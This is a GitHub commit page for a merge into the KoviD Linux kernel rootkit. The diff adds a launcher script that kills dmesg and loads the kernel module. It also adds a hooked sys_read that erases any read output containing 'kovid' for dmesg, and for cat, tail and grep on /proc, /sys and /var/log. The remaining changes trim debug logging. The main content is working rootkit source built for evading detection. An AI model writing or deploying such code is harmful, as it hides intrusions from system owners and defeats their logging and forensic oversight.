Skip to content

Commit

Permalink
Merge pull request #120 from carloslack/kvdev
Browse files Browse the repository at this point in the history
Kvdev
  • Loading branch information
carloslack authored Oct 15, 2024
2 parents 964fb0e + 9abe34a commit 977af6c
Show file tree
Hide file tree
Showing 5 changed files with 114 additions and 7 deletions.
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,9 @@ Read [Phrack magazine](http://phrack.org/issues/71/12.html#article) where g1inko
Linux hash-virtual-machine 5.19.0-41-generic #42~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC
UTC 2 x86_64 x86_64 x86_64 GNU/Linux

Linux Standard-PC-Q35-ICH9-2009 5.15.0-43-generic #46-Ubuntu
SMP x86_64 x86_64 x86_64 GNU/Linux

## 2 - Features

### 2.1 Hide itself (module)
Expand Down
4 changes: 4 additions & 0 deletions run.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#!/bin/bash
# rm -f this file after use
sudo kill -PIPE `pgrep dmesg`
sudo insmod ./kovid.ko
2 changes: 0 additions & 2 deletions src/fs.c
Original file line number Diff line number Diff line change
Expand Up @@ -173,7 +173,6 @@ static int _fs_add_name(const char *names[], bool ro, u64 ino) {
if (!hn)
return -ENOMEM;

prinfo("addname '%s' ro=%d\n", *s, ro);
hn->name = kcalloc(1, len+1, GFP_KERNEL);
strncpy(hn->name, (const char*)*s, len);
hn->ro = ro;
Expand Down Expand Up @@ -223,7 +222,6 @@ bool fs_del_name(const char *names[]) {
void fs_names_cleanup(void) {
struct hidden_names *node, *node_safe;
list_for_each_entry_safe(node, node_safe, &names_node, list) {
prinfo("cleaning '%s'\n", node->name);
list_del(&node->list);
if (node->name)
kfree(node->name);
Expand Down
26 changes: 21 additions & 5 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -339,8 +339,23 @@ static void kv_unhide_mod(void) {

static char *get_unhide_magic_word(void) {
static char *magic_word;
if(!magic_word)
magic_word = kv_util_random_AZ_string(MAX_MAGIC_WORD_SIZE);

if(!magic_word) {
char *m = NULL;

/** must be pretty unlucky
* for this to be forever loop
*/
do {
if (m) {
kfree(m);
m = NULL;
}
m = kv_util_random_AZ_string(MAX_MAGIC_WORD_SIZE);
} while(strstr(m, "kovid"));

magic_word = m;
}

/* magic_word must be freed later */
return magic_word;
Expand Down Expand Up @@ -437,7 +452,8 @@ static int proc_timeout(unsigned int t) {
}

/**
* Simple commands: hide, <PID>, show
* Current ui
* XXX this needs to go
*/
static ssize_t write_cb(struct file *fptr, const char __user *user,
size_t size, loff_t *offset) {
Expand Down Expand Up @@ -818,7 +834,7 @@ static int __init kv_init(void) {
op_lock = 1;
#endif

prinfo(KERN_INFO "%s loaded.\n", MODNAME);
prinfo(KERN_INFO "loaded.\n");
goto leave;

unroll_init:
Expand Down Expand Up @@ -875,7 +891,7 @@ static void __exit kv_cleanup(void) {

fs_names_cleanup();

prinfo("kovid unloaded.\n");
prinfo("unloaded.\n");
}

module_init(kv_init);
Expand Down
86 changes: 86 additions & 0 deletions src/sys.c
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ sys64 real_m_clone;
sys64 real_m_kill;
sys64 real_m_execve;
sys64 real_m_bpf;
sys64 real_m_read;

#define PT_REGS_PARM1(x) ((x)->di)
#define PT_REGS_PARM2(x) ((x)->si)
Expand Down Expand Up @@ -173,6 +174,90 @@ static asmlinkage long m_kill(struct pt_regs *regs)
return real_m_kill(regs);
}

/**
* Given an fd, check if parent
* directory is a match.
*/
static bool is_sys_parent(unsigned int fd) {
struct dentry *dentry;
struct dentry *parent_dentry;
char *path_buffer;
bool rv = false;

struct fd f = fdget(fd);
if (!f.file)
goto out;

dentry = f.file->f_path.dentry;
parent_dentry = dentry->d_parent;

path_buffer = (char *)__get_free_page(GFP_KERNEL);
if (!path_buffer) {
fdput(f);
goto out;
}

char *parent_path = d_path(&f.file->f_path, path_buffer, PAGE_SIZE);
if (!IS_ERR(parent_path)) {
if (!strncmp(parent_path, "/proc", 5) ||
!strncmp(parent_path, "/sys",4) ||
!strncmp(parent_path, "/var/log", 8))
rv = true;
}

fdput(f);
free_page((unsigned long)path_buffer);

out:
return rv;
}


static asmlinkage long m_read(struct pt_regs *regs) {
char *buf = NULL;
const char __user *arg;
size_t size;
long rv;
struct fs_file_node *fs = NULL;
bool is_dmesg = false;

/** call the real thing first */
rv = real_m_read(regs);

fs = fs_get_file_node(current);
if (!fs || !fs->filename)
goto out;

/** special case :( */
is_dmesg = !strcmp(fs->filename, "dmesg");

/** Apply only for a few commands */
if ((!is_dmesg) &&
(strcmp(fs->filename, "cat") != 0) &&
(strcmp(fs->filename, "tail") != 0) &&
(strcmp(fs->filename, "grep") != 0))
goto out;

size = PT_REGS_PARM3(regs);
if (!(buf = (char *)kmalloc(size, GFP_KERNEL)))
goto out;

arg = (const char __user*)PT_REGS_PARM2(regs);
if (!copy_from_user((void *)buf, (void *)arg, size)) {
char *dest = strstr(buf, "kovid");
if (!dest)
goto out;

/** if kovid is here, skip */
if (is_dmesg ||
is_sys_parent((unsigned int)PT_REGS_PARM1(regs)))
rv=0;
}
out:
kv_mem_free(&fs, &buf);
return rv;
}

/**
* Stolen static/private helpers
* from the kernel
Expand Down Expand Up @@ -948,6 +1033,7 @@ static struct ftrace_hook ft_hooks[] = {
{"sys_exit_group", m_exit_group, &real_m_exit_group, true},
{"sys_clone", m_clone, &real_m_clone, true},
{"sys_kill", m_kill, &real_m_kill, true},
{"sys_read", m_read, &real_m_read, true},
{"sys_bpf", m_bpf, &real_m_bpf, true},
{"tcp4_seq_show", m_tcp4_seq_show, &real_m_tcp4_seq_show},
{"udp4_seq_show", m_udp4_seq_show, &real_m_udp4_seq_show},
Expand Down

0 comments on commit 977af6c

Please sign in to comment.